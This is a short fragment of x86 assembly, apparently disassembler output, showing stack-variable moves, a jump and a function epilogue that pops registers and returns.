mov edx, dword [0x1027d4c0]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
jmp 0x10262916
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret